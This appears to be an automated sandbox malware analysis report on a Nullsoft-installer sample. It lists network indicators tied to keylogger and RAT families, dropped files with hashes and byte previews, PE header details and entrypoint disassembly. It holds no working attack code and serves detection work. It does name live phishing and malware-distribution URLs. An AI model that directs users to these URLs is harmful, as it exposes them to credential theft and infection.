Behavior and APIs

Time	Type	Description
15:17:08	API Interceptor	155x Sleep call for process: ajRZflJ2ch.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
104.21.48.1	NWPZbNcRxL.exe	Get hash	malicious	FormBook	Browse	www.axis138ae.shop/j2vs/
	SH8ZyOWNi2.exe	Get hash	malicious	CMSBrute	Browse	twirpx.org/administrator/index.php
	SN500, SN150 Spec.exe	Get hash	malicious	FormBook	Browse	www.antipromil.site/7ykh/
149.154.167.220	FUEvp5c8lO.exe	Get hash	malicious	AsyncRAT, StormKitty, WorldWind Stealer	Browse
	https://glfbanks.com/	Get hash	malicious	HTMLPhisher	Browse
	19d6P55zd1.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	9L83v5j083.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	y1jQC8Y6bP.exe	Get hash	malicious	MassLogger RAT	Browse
	FILHKLtCw0.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse
	ppISxhDcpF.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse
	m0CZ8H4jfl.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse
	fGu8xWoMrg.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse
	RubzLi27lr.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
193.122.6.168	hZbkP3TJBJ.exe	Get hash	malicious	Snake Keylogger	Browse	checkip.dyndns.org/
	9L83v5j083.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/
	FILHKLtCw0.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	checkip.dyndns.org/
	m0CZ8H4jfl.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	checkip.dyndns.org/
	FPACcnxAUT.exe	Get hash	malicious	MassLogger RAT	Browse	checkip.dyndns.org/
	fGu8xWoMrg.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/
	RubzLi27lr.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/
	YJwE2gTm02.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/
	AHSlIDftf1.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/
	SBkuP3ACSA.exe	Get hash	malicious	Snake Keylogger	Browse	checkip.dyndns.org/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
checkip.dyndns.com	hZbkP3TJBJ.exe	Get hash	malicious	Snake Keylogger	Browse	193.122.6.168
	19d6P55zd1.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	132.226.247.73
	9L83v5j083.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	193.122.6.168
	y1jQC8Y6bP.exe	Get hash	malicious	MassLogger RAT	Browse	193.122.130.0
	FILHKLtCw0.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	193.122.6.168
	ppISxhDcpF.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	132.226.8.169
	CvzLvta2bG.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	132.226.8.169
	m0CZ8H4jfl.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	193.122.6.168
	FPACcnxAUT.exe	Get hash	malicious	MassLogger RAT	Browse	193.122.6.168
	jxy62Zm6c4.exe	Get hash	malicious	MassLogger RAT	Browse	158.101.44.242
reallyfreegeoip.org	hZbkP3TJBJ.exe	Get hash	malicious	Snake Keylogger	Browse	104.21.48.1
	19d6P55zd1.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.112.1
	9L83v5j083.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.32.1
	y1jQC8Y6bP.exe	Get hash	malicious	MassLogger RAT	Browse	104.21.80.1
	FILHKLtCw0.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	104.21.64.1
	ppISxhDcpF.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	104.21.96.1
	CvzLvta2bG.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	104.21.32.1
	m0CZ8H4jfl.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	104.21.96.1
	FPACcnxAUT.exe	Get hash	malicious	MassLogger RAT	Browse	104.21.96.1
	jxy62Zm6c4.exe	Get hash	malicious	MassLogger RAT	Browse	104.21.96.1
api.telegram.org	FUEvp5c8lO.exe	Get hash	malicious	AsyncRAT, StormKitty, WorldWind Stealer	Browse	149.154.167.220
	https://glfbanks.com/	Get hash	malicious	HTMLPhisher	Browse	149.154.167.220
	19d6P55zd1.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	9L83v5j083.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	y1jQC8Y6bP.exe	Get hash	malicious	MassLogger RAT	Browse	149.154.167.220
	FILHKLtCw0.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	149.154.167.220
	ppISxhDcpF.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	149.154.167.220
	m0CZ8H4jfl.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	149.154.167.220
	fGu8xWoMrg.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	RubzLi27lr.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
ORACLE-BMC-31898US	hZbkP3TJBJ.exe	Get hash	malicious	Snake Keylogger	Browse	193.122.6.168
	9L83v5j083.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	193.122.6.168
	y1jQC8Y6bP.exe	Get hash	malicious	MassLogger RAT	Browse	193.122.130.0
	FILHKLtCw0.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	193.122.6.168
	m0CZ8H4jfl.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	193.122.6.168
	FPACcnxAUT.exe	Get hash	malicious	MassLogger RAT	Browse	193.122.6.168
	jxy62Zm6c4.exe	Get hash	malicious	MassLogger RAT	Browse	158.101.44.242
	fGu8xWoMrg.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	193.122.6.168
	RubzLi27lr.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	193.122.6.168
	YJwE2gTm02.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	193.122.6.168
CLOUDFLARENETUS	FUEvp5c8lO.exe	Get hash	malicious	AsyncRAT, StormKitty, WorldWind Stealer	Browse	104.16.184.241
	http://unikuesolutions.com/ck/bd/%7BRANDOM_NUMBER05%7D/YmVuc29uLmxpbkB2aGFjb3JwLmNvbQ==	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	hZbkP3TJBJ.exe	Get hash	malicious	Snake Keylogger	Browse	104.21.48.1
	348426869538810128.js	Get hash	malicious	Strela Downloader	Browse	162.159.61.3
	statement.doc	Get hash	malicious	KnowBe4	Browse	104.17.245.203
	http://url4619.blast.fresha.com/ls/click?upn=u001.G0bnNiVD8tDhPRdNyxjhDe6AC2ZUylxwA-2FPGy7qPBOFCUALhhiYANslkdkKDsOuTa2ZqT7n3N6bFcUrsV3ma3w-3D-3DiLPp_ykKDCurTiMzdScmvRsWtgHw-2Bx-2FsD8gtjZ2QYvaL9rQITVCU8DqQaupyP3UmfqTkykrcOULUqJB8vo6EwGC-2FXTrZZmpb9VysDXh-2Bs9eImE1UjAPhR388ASwoK2AP8BEYSRfU-2BeoIKBzUjhDstghksAsPKSpvEGafa0WwVUEqkryumMEQR7LzeuVihS6omMjDxWLWVMpRaOOynXHENqj69QJe59g4iFPytRm60mTk5xjXMgeEaRzFxoPJ4ml3mi0VzHAqUdjS3jfMBnOzPxHyb77YZzptZnuj5FOqVfelcRKxyeSqvYRwMU4ICLhbfcggUpY9RSJQ7f8uHQHGk5X2Upw-3D-3D	Get hash	malicious	Unknown	Browse	104.17.245.203
	https://glfbanks.com/	Get hash	malicious	HTMLPhisher	Browse	172.67.74.152
	https://patiooutletmaipu.cl/tiendas/head/	Get hash	malicious	LummaC, CAPTCHA Scam ClickFix, LummaC Stealer	Browse	188.114.96.3
	9MZZG92yMO.exe	Get hash	malicious	FormBook	Browse	104.21.112.1
	Bontrageroutdoors_Project_Update_202557516.pdf	Get hash	malicious	Unknown	Browse	104.17.25.14
TELEGRAMRU	FUEvp5c8lO.exe	Get hash	malicious	AsyncRAT, StormKitty, WorldWind Stealer	Browse	149.154.167.220
	https://glfbanks.com/	Get hash	malicious	HTMLPhisher	Browse	149.154.167.220
	19d6P55zd1.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	9L83v5j083.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	y1jQC8Y6bP.exe	Get hash	malicious	MassLogger RAT	Browse	149.154.167.220
	FILHKLtCw0.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	149.154.167.220
	ppISxhDcpF.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	149.154.167.220
	m0CZ8H4jfl.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	149.154.167.220
	fGu8xWoMrg.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	RubzLi27lr.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
UTMEMUS	19d6P55zd1.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	132.226.247.73
	ppISxhDcpF.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	132.226.8.169
	CvzLvta2bG.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	132.226.8.169
	fGu8xWoMrg.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	132.226.247.73
	xom6WSISuh.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	132.226.8.169
	eLo1khn7DQ.exe	Get hash	malicious	MassLogger RAT	Browse	132.226.247.73
	3WgNXsWvMO.exe	Get hash	malicious	MassLogger RAT	Browse	132.226.8.169
	v3tK92KcJV.exe	Get hash	malicious	Snake Keylogger	Browse	132.226.247.73
	r5yYt97sfB.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	132.226.8.169
	MtxN2qEWpW.exe	Get hash	malicious	Snake Keylogger	Browse	132.226.247.73

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
54328bd36c14bd82ddaa0c04b25ed9ad	hZbkP3TJBJ.exe	Get hash	malicious	Snake Keylogger	Browse	104.21.48.1
	19d6P55zd1.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.48.1
	9L83v5j083.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.48.1
	y1jQC8Y6bP.exe	Get hash	malicious	MassLogger RAT	Browse	104.21.48.1
	FILHKLtCw0.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	104.21.48.1
	ppISxhDcpF.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	104.21.48.1
	CvzLvta2bG.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	104.21.48.1
	m0CZ8H4jfl.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	104.21.48.1
	FPACcnxAUT.exe	Get hash	malicious	MassLogger RAT	Browse	104.21.48.1
	jxy62Zm6c4.exe	Get hash	malicious	MassLogger RAT	Browse	104.21.48.1
3b5074b1b5d032e5620f69f9f700ff0e	FUEvp5c8lO.exe	Get hash	malicious	AsyncRAT, StormKitty, WorldWind Stealer	Browse	149.154.167.220
	http://diebinjmajbkhhg.top/1.php?s=527	Get hash	malicious	Unknown	Browse	149.154.167.220
	https://patiooutletmaipu.cl/tiendas/head/	Get hash	malicious	LummaC, CAPTCHA Scam ClickFix, LummaC Stealer	Browse	149.154.167.220
	19d6P55zd1.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	9L83v5j083.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	y1jQC8Y6bP.exe	Get hash	malicious	MassLogger RAT	Browse	149.154.167.220
	FILHKLtCw0.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	149.154.167.220
	ppISxhDcpF.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	149.154.167.220
	m0CZ8H4jfl.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	149.154.167.220
	s2Jg1MAahY.exe	Get hash	malicious	AgentTesla	Browse	149.154.167.220
37f463bf4616ecd445d4a1937da06e19	https://patiooutletmaipu.cl/tiendas/head/	Get hash	malicious	LummaC, CAPTCHA Scam ClickFix, LummaC Stealer	Browse	142.250.184.193 142.250.184.206
	IpykYx5iwz.exe	Get hash	malicious	Remcos, GuLoader	Browse	142.250.184.193 142.250.184.206
	FILHKLtCw0.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	142.250.184.193 142.250.184.206
	ht58337iNC.exe	Get hash	malicious	GuLoader	Browse	142.250.184.193 142.250.184.206
	ppISxhDcpF.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	142.250.184.193 142.250.184.206
	m0CZ8H4jfl.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	142.250.184.193 142.250.184.206
	fGu8xWoMrg.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	142.250.184.193 142.250.184.206
	r5yYt97sfB.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	142.250.184.193 142.250.184.206
	RmIYOfX0yO.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	142.250.184.193 142.250.184.206
	4hQFnbWlj8.exe	Get hash	malicious	Vidar	Browse	142.250.184.193 142.250.184.206

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\Temp\nsd88AD.tmp\System.dll	DHL_Awb_Shipping_Invoice_doc_010720257820020031808174CN1800301072025.bat.exe	Get hash	malicious	Remcos	Browse
	DHL_Awb_Shipping_Invoice_doc_010720257820020031808174CN1800301072025.bat.exe	Get hash	malicious	Unknown	Browse
	KO0q4biYfC.exe	Get hash	malicious	Remcos, GuLoader	Browse
	Yoranis Setup.exe	Get hash	malicious	Unknown	Browse
	Yoranis Setup.exe	Get hash	malicious	Unknown	Browse
	Pralevia Setup 1.0.0.exe	Get hash	malicious	Unknown	Browse
	Pralevia Setup 1.0.0.exe	Get hash	malicious	Unknown	Browse
	NativeApp_G5L1NHZZ.exe	Get hash	malicious	LummaC Stealer	Browse
	Awb 4586109146.bat.exe	Get hash	malicious	AgentTesla, GuLoader	Browse
	PO 0309494059506060609696007.exe	Get hash	malicious	AgentTesla, GuLoader	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Iw\14-scaled.jpg

Download File

Process:	C:\Users\user\Desktop\ajRZflJ2ch.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 300x300, segment length 16, baseline, precision 8, 2560x2560, components 3
Category:	dropped
Size (bytes):	484658
Entropy (8bit):	7.809711763657168
Encrypted:	false
SSDEEP:	12288:W1S3xo63wl4biprI2S4WwWEcwxg9dvVAxZOCLF0DB:Wo3xX3y4bz2lWwWo6rSTZyd
MD5:	5C727AE28F0DECF497FBB092BAE01B4E
SHA1:	AADE364AE8C2C91C6F59F85711B53078FB0763B7
SHA-256:	77CCACF58330509839E17A6CFD6B17FE3DE31577D8E2C37DC413839BA2FEEC80
SHA-512:	5246C0FBA41DF66AF89D986A3CEABC99B61DB9E9C217B28B2EC18AF31E3ED17C865387223CEB3A38A804243CF3307E07E557549026F49F52829BEBC4D4546C40
Malicious:	false
Reputation:	low
Preview:	......JFIF.....,.,.....]http://ns.adobe.com/xap/1.0/.<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 7.2-c000 79.566ebc5, 2022/05/09-07:22:29 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:tiff="http://ns.adobe.com/tiff/1.0/" xmlns:exif="http://ns.adobe.com/exif/1.0/" xmp:CreatorTool="Adobe Photoshop CC 2018 (Windows)" xmp:CreateDate="2018-04-27T15:00:27+08:00" xmp:ModifyDate="2022-09-22T14:01:54+08:00" xmp:MetadataDate="2022-09-22T14:01:54+08:00" dc:format="image/png" photoshop:ColorMode="3" xmpMM:InstanceID="xmp.iid:b728d5c8-8822-6d4c-afc1-a393cb2a04ec"

C:\Users\user\AppData\Local\Iw\Inerm129.deu

Download File

Process:	C:\Users\user\Desktop\ajRZflJ2ch.exe
File Type:	data
Category:	dropped
Size (bytes):	302802
Entropy (8bit):	7.715597307255138
Encrypted:	false
SSDEEP:	6144:1TAGwcHt8IYejp9JRL5ljyLlQRCuLyon4mwYEmrwAd:1TAGFkejpRLPelKdeaREGwq
MD5:	D59A83F9C3B0814E7F07E0350AE015DA
SHA1:	8D8EAC7CE54E23E12805064E25E8E2B09ABF5A4E
SHA-256:	D3D32567E0FD98C5A1695A1CCBBF0144C7F083D1739BED777B6868B68F8CF7EB
SHA-512:	87389F16386E0F2919F6F4A86D12A92E6DFD94C2FC977019E1F1EB3385BBE762D4CA34EBE08DA6D73A1CFD5F1D778073E58A063C4213FD18CF8C6A8B0204E3A4
Malicious:	false
Reputation:	low
Preview:	.......***..............................;;........:..................:.......QQ............v..........'.......(...................(......{....w...................''''............................dd.ww...................[....hhh...)...vv........................HH.TT.RR....MM.8................................................+++................44.f.-.;;;.........(.HH.T............oooo.........................g.;...)))...?.....(((........................................]...........v................rr......rr..............\.fff........aa.00.Z.Q....................&.........................}}}}}}.......--......................""".............777...........O.......... .55........................................;.III.'......33........................B...............&.................\.$$.EEE..%......I........yy......................P...\|\|\|........2...............H..........XX................a...WW............CC............i.L......bb........,..T...:.M...............................ii...........

C:\Users\user\AppData\Local\Iw\Kbmandsskole.str

Download File

Process:	C:\Users\user\Desktop\ajRZflJ2ch.exe
File Type:	data
Category:	dropped
Size (bytes):	112291
Entropy (8bit):	1.249420131631438
Encrypted:	false
SSDEEP:	768:5R+BCpkJWjYWL2MxTVLvUjpGqik9JiAfWA2DBQwD1PzUH+HYZmIo7x31sT:WCZY21w0I2NZYD
MD5:	4D1D72CFC5940B09DFBD7B65916F532E
SHA1:	30A45798B534842002B103A36A3B907063F8A96C
SHA-256:	479F1904096978F1011DF05D52021FAEEE028D4CF331024C965CED8AF1C8D496
SHA-512:	048844A09E291903450188715BCDDF14F0F1F10BEAFBD005882EBF5D5E31A71D8F93EEBE788BD54B4AED2266C454F4DCA18AF4567977B7E773BBE29A38DEA45B
Malicious:	false
Reputation:	low
Preview:	..........P............+......................................................................................................................X......n..(................G...................................m.........\|.......................U.............`............l..............@}.........a........................................s............y.................N...............B...............w.e..........................................Q......*...................................................................................................a...........................f..................p..................t...........................................9.Q................@....................e................................................................:..............P.......S.........................P........................9..............._.......................(...............N............................................................H.T..........c..............................

C:\Users\user\AppData\Local\Iw\Sensuousnesses.opk

Download File

Process:	C:\Users\user\Desktop\ajRZflJ2ch.exe
File Type:	data
Category:	dropped
Size (bytes):	362089
Entropy (8bit):	1.23992084267325
Encrypted:	false
SSDEEP:	768:xOeaameETrlE0+1mGOWb3h5WAV0hW+JSLSwzj2HlSdL0f6mhKZRaqOzWz6szt3cA:x+ds5dYOVxIW3hhdeRt6MeZ1W4vB
MD5:	A4340182CDDD2EC1F1480360218343F9
SHA1:	50EF929FEA713AA6FCC05E8B75F497B7946B285B
SHA-256:	B91E5B1FF5756F0B93DCF11CBC8B467CDA0C5792DE24D27EC86E7C74388B44B3
SHA-512:	021F198AFF7CCED92912C74FC97D1919A9E059F22E99AB1236FBAA36C16B520C07B78F47FC01FCFAC1B53A87CDAE3E440D0589FA2844612617FAB2EDB64A3573
Malicious:	false
Reputation:	low
Preview:	..........F.............................i.....................B.........................................b..Et.............................O...........h...............................................................................8..........n.....................w.................../.......\|.......'........,..........(...........................W......#..................................................................................................=..........................]..........q................................................[.................2....S............................"...................................$!..............................=.......................................[f.................................................................................................................V.............................w...................................................$.............................................................j...........h.............J..............

C:\Users\user\AppData\Local\Iw\Workhorse.Unb

Download File

Process:	C:\Users\user\Desktop\ajRZflJ2ch.exe
File Type:	data
Category:	dropped
Size (bytes):	66838
Entropy (8bit):	4.601980718534523
Encrypted:	false
SSDEEP:	1536:d8Z4bSnvTwDC0ik3K/pdZ3dGsHohAGSxH2Qi:le8C7F3hHohAJR2Qi
MD5:	C0DBD375347024F0842ECF32EFC20A39
SHA1:	0B005481213478B486758E53EBFA1448FF7B4C32
SHA-256:	83E255BFBC1D9529AA12515F0AFA172EE5959DE7619CEEC74C2B7AB232E2F1A9
SHA-512:	113B542FF537405DD98F7E711E8B16B18F2E32F3E781E51DE98697A6CB08145237B7EE553220FD4F9562556B8E05FE23BD4744063AB1CA72EE207144DAFEE63E
Malicious:	false
Reputation:	low
Preview:	..............,.Z.............................ttt.......&................`...............e......k.........2.....FFF.GG.?????.k....;...................u.xx....###....h...\.).................BB...........O.o...3.P.....L...................N...............r..""..............66.^.......3.(((........................66.ffff....................G.K....#..........6.....z.....^......pp........@@...............''..K...w.??....................3..xxxxx.............}.......bb............fff........ZZZZZ................^..........55.H..........w.....,....R...............\\\.ii.*...........yy.......d..>>>.........y.......2...^..........[...RRRRR............................n......!!.2...............................V......a........................DD....''''....................77........................YYYYYYYYYY....................9.................L.......!!....................CC..YYY..............s..'.....M............E. .......................}...........................EE..l.................h....HH

C:\Users\user\AppData\Local\Iw\prepares.pli

Download File

Process:	C:\Users\user\Desktop\ajRZflJ2ch.exe
File Type:	FoxPro FPT, blocks size 22, next free block index 285212672, field type 0
Category:	dropped
Size (bytes):	139354
Entropy (8bit):	1.2473328695625903
Encrypted:	false
SSDEEP:	768:9OsMSh8lSnJGyUzWZsO2ipzPFmDZC9kpzroto48tf2+5lVp:9delFlqNawgJp
MD5:	B0FB6B583D6902DE58E1202D12BA4832
SHA1:	7F585B5C3A4581CE76E373C78A6513F157B20480
SHA-256:	E6EA5F6D0C7F5FA407269C7F4FF6D97149B7611071BF5BF6C454B810501AE661
SHA-512:	E0894FFBD76C3476DC083DAFD24F88964BF6E09E4CA955766B43FE73A764A00247C930E9996652A22B57B27826CD94F88B8178514060CA398DE568675F9E4571
Malicious:	false
Preview:	.......................................\|...................................................................+................$......&....A........................................................Z.....................................A...............!.....Y........................l..........9..................c.............f.................F...".................................................h.......................................\..............J............................5......t.....E.................q........................:......^....................................................................................I..........................................................x......W....................................................................................M...........................X..............................,..................m.......................................................................................................................J........ ...F...........

C:\Users\user\AppData\Local\Temp\nsc8725.tmp

Download File

Process:	C:\Users\user\Desktop\ajRZflJ2ch.exe
File Type:	data
Category:	dropped
Size (bytes):	1494171
Entropy (8bit):	5.529984636265362
Encrypted:	false
SSDEEP:	24576:y+lFkOHecco3xX3y4bz2lWwWo6rSTZyqZX:RyoBXbz2luo6rS1yqZ
MD5:	09C061859A1E2418D61BD43E8FA8F63A
SHA1:	94CA39EE23956A64D10CBDA2A7806ECB0840C5C7
SHA-256:	D5A1FCC23605E0815EAE68180CB374A80B2385DB0E7430D97FACE2630689A8AB
SHA-512:	E405F684617AA34C4BB04C186988893C211BF89FF5C7D4F5A77BE5CF5D0BAC9F66BD9404969CE711A90C8AEDD3E8C08D386D128A78FB188E551D2AB97CB05BF2
Malicious:	false
Preview:	.5......,.......,.......\........!.......4.......5..........................M...i............................H..............................................................................................................................................................................G...J...........r...h...............................................................g...............................................................j...............................................................................................................................{.......................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\nsd88AD.tmp\System.dll

Download File

Process:	C:\Users\user\Desktop\ajRZflJ2ch.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	5.719859767584478
Encrypted:	false
SSDEEP:	192:1enY0LWelt70elWjvfstJcVtwtYbjnIOg5AaDnbC7ypXhtIj:18PJlt70esj0Mt9vn6ay6
MD5:	0D7AD4F45DC6F5AA87F606D0331C6901
SHA1:	48DF0911F0484CBE2A8CDD5362140B63C41EE457
SHA-256:	3EB38AE99653A7DBC724132EE240F6E5C4AF4BFE7C01D31D23FAF373F9F2EACA
SHA-512:	C07DE7308CB54205E8BD703001A7FE4FD7796C9AC1B4BB330C77C872BF712B093645F40B80CE7127531FE6746A5B66E18EA073AB6A644934ABED9BB64126FEA9
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Joe Sandbox View:	Filename: DHL_Awb_Shipping_Invoice_doc_010720257820020031808174CN1800301072025.bat.exe, Detection: malicious, Browse Filename: DHL_Awb_Shipping_Invoice_doc_010720257820020031808174CN1800301072025.bat.exe, Detection: malicious, Browse Filename: KO0q4biYfC.exe, Detection: malicious, Browse Filename: Yoranis Setup.exe, Detection: malicious, Browse Filename: Yoranis Setup.exe, Detection: malicious, Browse Filename: Pralevia Setup 1.0.0.exe, Detection: malicious, Browse Filename: Pralevia Setup 1.0.0.exe, Detection: malicious, Browse Filename: NativeApp_G5L1NHZZ.exe, Detection: malicious, Browse Filename: Awb 4586109146.bat.exe, Detection: malicious, Browse Filename: PO 0309494059506060609696007.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......qr.5.D.5.D.5.D...J.2.D.5.E.!.D.....2.D.a0t.1.D.V1n.4.D..3@.4.D.Rich5.D.........PE..L....~.\...........!....."...........).......@...............................p............@..........................B.......@..P............................`.......................................................@..X............................text.... .......".................. ..`.rdata..c....@.......&..............@..@.data...x....P.....................@....reloc.......`.......,..............@..B................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
Entropy (8bit):	7.960048713088303
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	ajRZflJ2ch.exe
File size:	1'026'527 bytes
MD5:	c9775580271050109b3431a54f1880f0
SHA1:	85d69a1abf2b6c4ab9a4fa77c27c5f43e7302630
SHA256:	1d703dda4c786c51432a22da942b92244544a00c1d81b937bd5e5424947804f8
SHA512:	412670d7d1ad7fb2d292019c4efc99912b655ff54917972504be0d0855a5d7845e7ba417393d3114ddcdc9a44ba5f6240f8183e180f61326be8c7b7cf5d5bca1
SSDEEP:	12288:9jwjW11WewcTe8agur7Ew6+Cihk6QM3urjWslPFJgz7oo2EPAAL3Y+97xC+9Wf7c:9jwKCN8VKPkzltJ87oop7L3Vb20oFc3
TLSH:	C92523012BE3C9EEE1D2817175C2E3B666F99C11441AED2F47042E5F7D3A8A85436ACF
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1...Pf..Pf..Pf._9..Pf..Pg.LPf._;..Pf..sV..Pf..V`..Pf.Rich.Pf.........................PE..L...$..\.................f...*.....

File Icon


Icon Hash:	46224e4c19391d03

Static PE Info

General

Entrypoint:	0x4034a5
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x5C157F24 [Sat Dec 15 22:24:36 2018 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	1f23f452093b5c1ff091a2f9fb4fa3e9

Entrypoint Preview

Instruction
sub esp, 000002D4h
push ebx
push esi
push edi
push 00000020h
pop edi
xor ebx, ebx
push 00008001h
mov dword ptr [esp+14h], ebx
mov dword ptr [esp+10h], 0040A230h
mov dword ptr [esp+1Ch], ebx
call dword ptr [004080ACh]
call dword ptr [004080A8h]
and eax, BFFFFFFFh
cmp ax, 00000006h
mov dword ptr [0042A24Ch], eax
je 00007FEE2CACEA43h
push ebx
call 00007FEE2CAD1D0Dh
cmp eax, ebx
je 00007FEE2CACEA39h
push 00000C00h
call eax
mov esi, 004082B0h
push esi
call 00007FEE2CAD1C87h
push esi
call dword ptr [00408150h]
lea esi, dword ptr [esi+eax+01h]
cmp byte ptr [esi], 00000000h
jne 00007FEE2CACEA1Ch
push 0000000Ah
call 00007FEE2CAD1CE0h
push 00000008h
call 00007FEE2CAD1CD9h
push 00000006h
mov dword ptr [0042A244h], eax
call 00007FEE2CAD1CCDh
